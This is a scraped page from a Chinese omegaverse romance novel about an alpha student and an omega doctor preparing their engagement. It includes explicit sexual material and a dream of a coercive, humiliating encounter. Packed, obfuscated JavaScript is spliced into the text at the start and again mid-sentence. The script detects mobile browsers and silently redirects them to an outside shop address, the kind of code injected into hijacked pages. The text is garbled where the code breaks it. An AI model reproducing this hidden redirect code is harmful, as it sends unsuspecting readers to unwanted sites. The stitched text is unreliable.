0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185208|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就算你不发请帖我也会发,就要让欺负过你的人亲眼看着你现在有多优秀耀眼,不仅年纪轻轻就是医学界一颗冉冉升起的大明星,还有我这么个豪门大少爷被你迷得找不着东南西北,让他们看着,然后嫉妒死你。” 这才是报复人最高明的办法。 谈决觉得alpha对自己滤镜实在太厚了,决定纠正一下:“其实我也没你说得那么厉害,人外有人,天外有……” 原骁却打断他:“我不管别人,反正你在我眼里最厉害。” 谈决就不说话了,只是任原骁抱着,思索了一会儿才道:“那我去整理一下我这边的宾客名单。” 虽然原越庭和原骁说订婚宴的事不用他操心,但是他也想有点参与感。 有了事做,两个人就没再想那档子事,谈决朋友不多,亲人也不多,大部分都是同学和同事,但还是花了快两个小时才整理完。 累了一天,omega很快就撑不住了。 原骁认认真真看完助理发过来的订婚宴策划草案,又把宾客名单同步给对方,才发现谈决已经睡熟了。 他侧躺在床上,只占了一小片地方,给原骁留了很大一片空间,睡着时微微蜷着,眉眼很安静。 虽然他们还没有标记,但已经一起睡了快一星期了,有原骁和信息素时,谈决的睡眠会安稳很多。 虽然原骁很渴望谈决的身体,渴望标记,渴望项圈,渴望更进一步,更深刻交融的爱欲,但这些在谈决好好睡一觉前不算什么。 他轻手轻脚地上了床,又熟门熟路地把omega抱进怀里。 啪嗒,床头灯开关一响,世界彻底陷入昏暗。 第二天是周六,原骁上午没事,但谈决要加班。 alpha七点就醒了,他下楼晨练了一会儿,洗漱完,然后穿上围裙进了厨房。 昨晚回家时杨妈给他们塞了一盒自己包的荠菜鲜肉饺,原骁蒸了一半,下汤煮了一半,蒸了两碗虾仁蒸蛋,又在楼下早点摊买了两碗豆浆。 谈决睡醒的时候,就看见桌上热腾腾的早餐,香气四溢,让人食指大动,alpha穿着个超市送的卡通围裙站旁边,某一瞬他居然感觉到一种难以言喻的圆满,他愣了一下才走过去:“你怎么不好好休息?” 原骁:“早休息够了,快过来吃饭。” 没人看着谈决就不吃早点,他得管严点。 谈决在餐桌旁落座,想了又想,还是迟疑道:“其实你不用每天都给我做早点……” 前几天是他腿伤,现在他可以自由行动,去楼下买更方便。 原骁没说什么,只是把蒸蛋推过去:“快吃。” 于是他眼睁睁看着omega吃了半碗水饺,半碗蒸饺,一碗蛋羹,还有一杯豆浆。 原骁:“……” 他实在想不通omega瘦得没二两肉,哪儿来这么惊人的食量。 吃完早点,原骁看了看时间:“走吧,我送你上班。” 谈决却站起来:“……不用了。” 原骁不解:“为什么不用?” 谈决:“我同事还不知道跟我结婚的是谁。” 原骁挑眉:“……所以?” 不会是谈决嫌弃他是学生,觉得影响不好,要把他雪藏起来当地下情人吧? 谈决整理了下衣服,一本正经道:“所以你要保持神秘感。” “等订婚宴的时候,就可以给他们一个惊喜。” 34.撩人 谈决坚持要自己上班,原骁也拗不过他,只能把人送到楼下,又看着对方打车走了。 谈决一走,原骁就没事可做,他掏出电脑补了会儿作业,又忽然心血来潮想起订婚的事,拨通了宋锦的电话。 宋锦大早上接到电话,还以为有什么急事:“原骁?有事吗?” 一听声音就没睡醒,原骁难以置信:“你还没起床?” 宋锦昨晚通宵打游戏,天亮了才睡,接到电话更是一阵烦躁,语气也不耐烦:“怎么,周六睡觉犯法?” 原骁:“不犯法,但我需要你的帮助。” 宋锦:“干什么?” 原骁:“……过来和我一起参谋一下订婚宴的安排。” 宋锦:“……” 宋锦心说一个订婚宴而已,原家那么多助理又不是死人,非得大少爷亲自到场,还要把补觉的他也叫起来:“兄弟……你们结婚的人是不是都被鬼上身了?” 原骁懒得理他:“一句话,来不来?” 宋锦咬咬牙:“……来。” 一小时后,两个人赶到了一座湖滨庄园,而婚宴助理已经久候多时。 两个人把宾客名单、菜单、现场布置都过了一遍,还应原骁的要求做了个九层大蛋糕,把不必要的繁琐流程全都删掉。 谈决不太喜欢社交场合,到时候吃吃喝喝见见人就够了。 做完蛋糕,两个人又去珠宝店挑对戒。 宋锦很不理解:“你和谈教授结婚,为什么要我来陪你选钻戒?” “他工作忙啊,”原骁理论当然:“而且咱两选这对只是应急的,我得让别人知道他已经名花有主了,正式婚礼当然不能戴这个,结婚钻戒怎么可能这么草率?” 他嘴上说着草率,转头就把展柜上的钻戒全挑剔了一遍。 宋锦:“……” 他开始怀疑自己疯了才会答应原骁在大周六出门陪他准备订婚宴。 挑完钻戒,两个人又定做了礼服,一直到天黑才忙完。 吃完饭,原骁还特意打包了一份晚饭带回家,结果在路上接到了omega的电话。 原骁忙了一天,都没来得及问谈决今天有没有好好吃饭,看见电话立马按下接通:“喂老婆。” 坐在一边闭目养神的宋锦淡淡掀开眼皮,看见alpha满脸心花怒放的样子,只觉得这人彻底没救了。 然而下一刻原骁就脸上的表情就凝固了:“出差?今天?” “为什么这么突然?” 谈决那边说着什么,原骁的神色却越来越失望,最后认命道:“……好吧,那我现在回家。” 挂断电话,alpha彻底消沉下去,叹了口气。 宋锦脸上终于有了笑意,他感受到一点报复似的爽感,主动问:“怎么,你老婆不要你了?” 原骁:“……你不懂。” 宋锦:“我不懂什么?我好歹也是谈过恋爱的人,比你有经验好吧?” 原骁:“但你没有一个十四岁就上大学还事业有成的厉害omega老婆,你根本不懂我有多矛盾。” 宋锦:“……滚吧你!” 忍无可忍的宋锦在U大门口下车,警告他接下来几天不准再打扰他,原骁带着外卖,火急火燎地回到家,就看见omega已经收拾好行李箱在客厅等他。 “要出差怎么没人提前通知你?” 谈决:“是紧急事件,今天才收到的消息,T城有个alpha感染腺体萎缩症后在重症监护室高烧了四十个小时,结果现在居然意外好转了,这是很特殊的病例,我要过去看看,顺便开个研讨会。” 原骁理解他的工作,上辈子谈决就在研究所和各个城市医院连轴转,这辈子当然也不会变,但他还是有点失望:“那我是不是好几天都见不到你?” 谈决:“嗯。” 订婚宴在即,二人还什么都没准备,谈决大周六还要加班不说,现在还要出差,把所有事情甩给原骁,他心里也有点过意不去。 而且按照计划,他和原骁今晚是要完全标记的……alpha每天早上起床反应都很大,忍得可怜,结果现在临门一脚,计划又被打断。 他觉得对不住alpha,但原骁委屈完,又很善解人意道:“那你去吧,我在家会想你的。” “今晚几点的飞机?” 谈决:“十点半。” 原骁看了眼时间,在家吃饭是来不及了,好在打包了外卖,可以在车上吃,他接过行李箱,又把好吃的递给谈决:“走吧,我开车送你去机场。” 谈决其实早就到家了,他等到现在就是想亲自和alpha道个别,闻言也没有拒绝。 一个小时后,两个终于到站,离登机还有半小时,原骁一路把谈决送到安检口,这才停下来。 他把行李递给谈决,一边嘱咐:“工作忙也要记得好好吃饭,有事给我打电话。” alpha太体贴,好像一点也不为他工作忙的事不快,临别在即,一向对奔波习以为常的谈决居然罕见地生出一点不舍来。 他其实是个不怎么生根的人,就像江河里的孤舟,江水流向哪里,他就奔向哪里,即便在水里不停打转,也从没想过靠岸。 可现在原骁在,他却忽然觉得多了个锚点,即便他现在还没有出发,就已经盼望着回家和见面,即便他走得再远,却永远会回到那个小小的,有alpha的家。 谈决“嗯”了一声,然后沉默下来。 人来人往的大厅,还有安检时的不绝于耳滴滴声,原骁还以为他要嘱咐什么,然而下一刻,omega就放下了行李,面对面抱了下他一下:“好好上课,在家等我。” 原骁受宠若惊,正要抱回去,omega却像蝴蝶一样离开了他的怀抱,快到抓不住,却很撩人,临走时他还贴着alpha的耳朵说了句悄悄话:“等我回来,就让你进我的生|殖|腔。” 原骁彻底愣在原地:“……” 谁说谈决不会谈恋爱?谁说谈决不会谈恋爱! 这不是很会吗?! 光听见这一句,原骁都感觉自己易感期要来了,然而omega撩完就不负责,只笑笑,然后拖起行李箱走了。 原骁:“……” 谈决一定是故意的。 因为这一句话,原骁每天都盼望着谈决能早点回云城。 白天他好好上课写作业,晚上就回谈决家住,虽然两个人每天早晚都会互报平安,但多的就没了,因为谈决基本都在开会,不然就是带手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188827|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的研究员和学生参观,手机都交给助理了保管。 想念太多,原骁就开始做梦,梦里是他们上辈子的时候。 谈决在床上是很不服输的,或许是性格原因,他还尤其喜欢骑在上。 于是原骁每次一抬头,就能看见omega汗湿的额发,他微微抿着唇,垂眼看着原骁脖颈上的管教项圈,长长的睫毛在眼下打出一片阴影,清冷的面容却不受控地染上了欲,而且是那种倔强的,不肯服软的欲。 原骁不知道omega是在怪他还是在怪自己,但那个时候两个人都憋着一口气,谈决越倔强,他就觉得越屈辱刺眼,于是他的屈辱变成了想要折断omega的渴望,恨不得捣|烂omega的生|殖|腔,以此来证明自己在床上的支配权。 互相较劲的结果就是一发不可收拾的深度标记,衣物和床单满地都是,地毯脏得不能见人,omega哭得快崩溃过去,两条腿颤着,就连强撑着走到浴室都做不到,只能狼狈地摔在地板上。 这个时候原骁理智就会回笼,他会大发慈悲地走过去把人抱起来,还不忘威胁对方:“下次还敢不敢?” 谈决不说话,只是沉默地偏过头去,露出浑身斑驳的痕迹。 于是原骁的屈辱就被这幅可怜的神态浇灭,他既觉得谈决可恨,又觉得自己犯贱,最后的最后,他只能把人抱进浴室,轻手轻脚地把人洗干净。 他们就这样别扭纠缠了很久,于是慢慢地,原骁就再也分不清他们之间到底是爱是恨。 那些画面和触觉是那么鲜明,鲜明到原骁分不清是真是假,于是他陡然惊醒,摸到了身边空荡荡的床铺,这才确定刚刚是在做梦。 十二天了,谈决还是没回来。 怎么会有夫之o能一走就就走十二天? 原骁低头看了一眼精神抖擞、涨得难受的小原骁,只觉得自己是个刚结婚就独守空房的寂寞少A,每天都哀怨地期盼着omega能来宠幸自己一回。 再过两天就是他们的订婚宴,谈决再不回来,他就要一个人去订婚了。 他起床运动完,冲了个冷水澡,等着反应慢慢消退,他赌气似地没有自己抚慰反应,只是憋着,憋着等谈决回来。 一个已经有老婆的alpha居然沦落到在卫生间自己安慰自己,那跟没老婆有什么区别? 或许有区别,区别在于他更可怜更心酸。 然而直到订婚宴的前一天,谈决还是没回来。 原骁终于急了。 他不得不打通谈决的电话,委屈道:“老婆……你明天还回来订婚吗?” 电话那边有说话声,还有风声,谈决不知在干什么,只是反问原骁:“你现在在哪儿?” 原骁:“我在天池山庄,今晚有事住这边。” 谈决“噢”了一声,又问:“我们的礼服呢?” 原骁:“还在店里,今晚通知一声,明早化妆师就会带礼服上门。” 谈决似乎在思索什么,最后才做出决定:“把化妆师的联系方式给我。” 原骁依言照做,他没得到答案,又委屈地重复一遍:“那你还回来订婚吗?” 谈决默了默,很坏地给了alpha一个模棱两可的答案。 “你先去。”